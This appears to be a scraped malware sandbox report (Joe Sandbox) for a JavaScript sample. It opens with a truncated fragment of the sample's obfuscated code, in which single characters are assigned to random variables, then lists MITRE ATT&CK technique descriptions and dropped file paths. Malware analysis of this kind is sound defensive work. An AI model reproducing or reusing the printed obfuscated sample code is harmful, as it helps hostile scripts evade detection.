315	jktwgvecg = "e";
316	jktwgvecg = "t";
317	wjlmjt = "J";
318	wjlmjt = "t";
319	wjlmjt = "x";
320	wjlmjt = "X";
321	wjlmjt = "J";
322	wjlmjt = "h";
323	wjlmjt = "K";
324	wjlmjt = "s";
325	wjlmjt = "v";
326	wjlmjt = "1";
327	zxvgcz = "B";
328	zxvgcz = "o";
329	zxvgcz = "b";
330	zxvgcz = "E";
331	zxvgcz = "j";
332	zxvgcz = "P";
333	zxvgcz = "8";
334	ubebowc = "I";
335	ubebowc = "S";
336	ubebowc = "g";
337	ubebowc = "m";
338	ubebowc = "O";
339	ubebowc = "i";
340	uryvpni = "Y";
341	uryvpni = "m";
342	uryvpni = "G";
343	uryvpni = "X";
344	uryvpni = "u";
345	uryvpni = "g";
346	uryvpni = "O";
347	uxngdbml = "w";
348	uxngdbml = "U";
349	uxngdbml = "t";
350	uxngdbml = "K";
351	uxngdbml = "e";
352	uxngdbml = "f";
353	hecagar = "G";
354	hecagar = "e";
355	hecagar = "w";
356	hecagar = "C";
357	hecagar = "X";
358	hecagar = "J";
359	hecagar = "c";
360	dpkrfer = "T";
361	dpkrfer = "r";
362	dpkrfer = "w";
363	dpkrfer = "A";
364	dpkrfer = "x";
365	dpkrfer = "C";
366	ykgxbtipr = "H";
367	ykgxbtipr = "j";
368	ykgxbtipr = "e";
369	ykgxbtipr = "U";
370	ykgxbtipr = "u";
371	ykgxbtipr = "r";
372	ykgxbtipr = "E";
373	ykgxbtipr = "w";
374	focuk = "K";
375	focuk = "B";
376	focuk = "y";
377	focuk = "x";
378	focuk = "s";
379	focuk = "X";
380	focuk = "M";
381	focuk = "U";
382	kstcfmtbu = "j";
383	kstcfmtbu = "t";
384	kstcfmtbu = "l";
385	kstcfmtbu = "X";
386	kstcfmtbu = "u";
387	kstcfmtbu = "s";
388	kstcfmtbu = "j";
389	kstcfmtbu = "/";
390	amwpbzgic = "m";
391	amwpbzgic = "L";
392	amwpbzgic = "C";
393	amwpbzgic = "j";
394	amwpbzgic = "C";
395	amwpbzgic = "K";
396	amwpbzgic = "2";
397	zfyvh = "m";
398	zfyvh = "I";
399	zfyvh = "I";
400	zfyvh = "R";
401	zfyvh = "K";
402	zfyvh = "f";
403	zfyvh = "O";
404	zfyvh = "C";
405	zfyvh = "q";
406	dzhdgfk = "W";
407	dzhdgfk = "b";
408	dzhdgfk = "k";
409	dzhdgfk = "o";
410	dzhdgfk = "R";
411	dzhdgfk = "E";
412	dzhdgfk = "l";
413	dzhdgfk = "M";
414	dzhdgfk = "e";
415	dzhdgfk = ":";
416	zvprpiqz = "S";
417	zvprpiqz = "T";
418	zvprpiqz = "H";
419	zvprpiqz = "X";
420	zvprpiqz = "X";
421	zvprpiqz = "I";
422	zvprpiqz = "g";
423	dtbctwh = "u";
424	dtbctwh = "I";
425	dtbctwh = "W";
426	dtbctwh = "s";
427	dtbctwh = "G";
428	dtbctwh = "u";
429	dtbctwh = "N";
430	dtbctwh = "Y";
431	dtbctwh = "p";
432	dtbctwh = "R";
433	yksyfglxm = "c";
434	yksyfglxm = "q";
435	yksyfglxm = "G";
436	yksyfglxm = "J";
437	yksyfglxm = "n";
438	yksyfglxm = "m";
439	yksyfglxm = "b";
440	yksyfglxm = "u";
441	yksyfglxm = "C";
442	yksyfglxm = "h";
443	hytkx = "I";
444	hytkx = "D";
445	hytkx = "H";
446	hytkx = "e";
447	hytkx = "F";
448	hytkx = "I";
449	hytkx = "D";
450	hytkx = "p";
451	ckhszjtnx = "v";
452	ckhszjtnx = "k";
453	ckhszjtnx = "M";
454	ckhszjtnx = "r";
455	ckhszjtnx = "h";
456	ckhszjtnx = "N";
457	ckhszjtnx = "l";
458	ckhszjtnx = "-";
459	blwfu = "T";
460	blwfu = "D";
461	blwfu = "X";
462	blwfu = "w";
463	blwfu = "F";
464	blwfu = "x";
465	dfiefejgr = "n";
466	dfiefejgr = "i";
467	dfiefejgr = "U";
468	dfiefejgr = "n";
469	dfiefejgr = "j";
470	dfiefejgr = "Z";
471	dfiefejgr = "t";
472	dfiefejgr = "F";
473	dfiefejgr = "F";
474	fyxyv = "O";
475	fyxyv = "v";
476	fyxyv = "X";
477	fyxyv = "q";
478	fyxyv = "W";
479	fyxyv = "0";
480	mmpgpmi = "T";
481	mmpgpmi = "Z";
482	mmpgpmi = "L";
483	mmpgpmi = "d";
484	mmpgpmi = "t";
485	mmpgpmi = "Z";
486	mmpgpmi = "Q";
487	mmpgpmi = "d";
488	mmpgpmi = "Z";
489	mmpgpmi = "m";
490	ddtysnceb ( );	ddtysnceb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1684156262492114486.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44a499c4-dd81-41e6-98d7-c922ef9b55aa.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7872

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1684156262492114486.js